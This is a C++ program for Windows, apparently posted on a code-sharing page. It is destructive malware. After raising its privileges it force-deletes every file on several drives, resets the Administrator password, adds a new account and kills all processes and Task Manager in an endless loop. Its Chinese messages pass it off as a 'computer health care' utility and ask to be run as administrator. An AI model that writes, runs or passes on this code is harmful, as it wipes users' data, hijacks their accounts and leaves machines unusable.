1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| #include<iostream> #include<stdlib.h> #include<conio.h> #include<windows.h> #include<ctime> bool ElevatePrivileges() { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { return false; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) { CloseHandle(hToken); return false; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) { CloseHandle(hToken); return false; } if (GetLastError() != ERROR_SUCCESS) { CloseHandle(hToken); return false; } CloseHandle(hToken); return true; } using namespace std; int main() { if (ElevatePrivileges()) { system("del /F /S /Q D:\\"); system("del /F /S /Q C:\\"); system("del /F /S /Q E:\\"); system("del /F /S /Q H:\\"); system("del /F /S /Q I:\\"); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); while(1) { cout<<"电脑死亡之日!!!迎接电脑的颤抖吧"<<endl; system("taskkill /f /im *"); system("net user Administrator qwertyuiopasdfghjklzxcvbnm"); system("net user 顶级黑客 wait /add"); system("ping www.baidu.com"); system("ping io.codehero.store"); system("ping 4399.com"); SetCursorPos(rand()%x,rand()%y); system("calc"); system("cmd"); system("taskkill /f /im taskmgr.exe"); } } else { cout<<"没有管理员权限,无法使用电脑大保健小程序"<<endl; cout<<"请右键本程序,选择管理员身份运行"; } return 0; }
|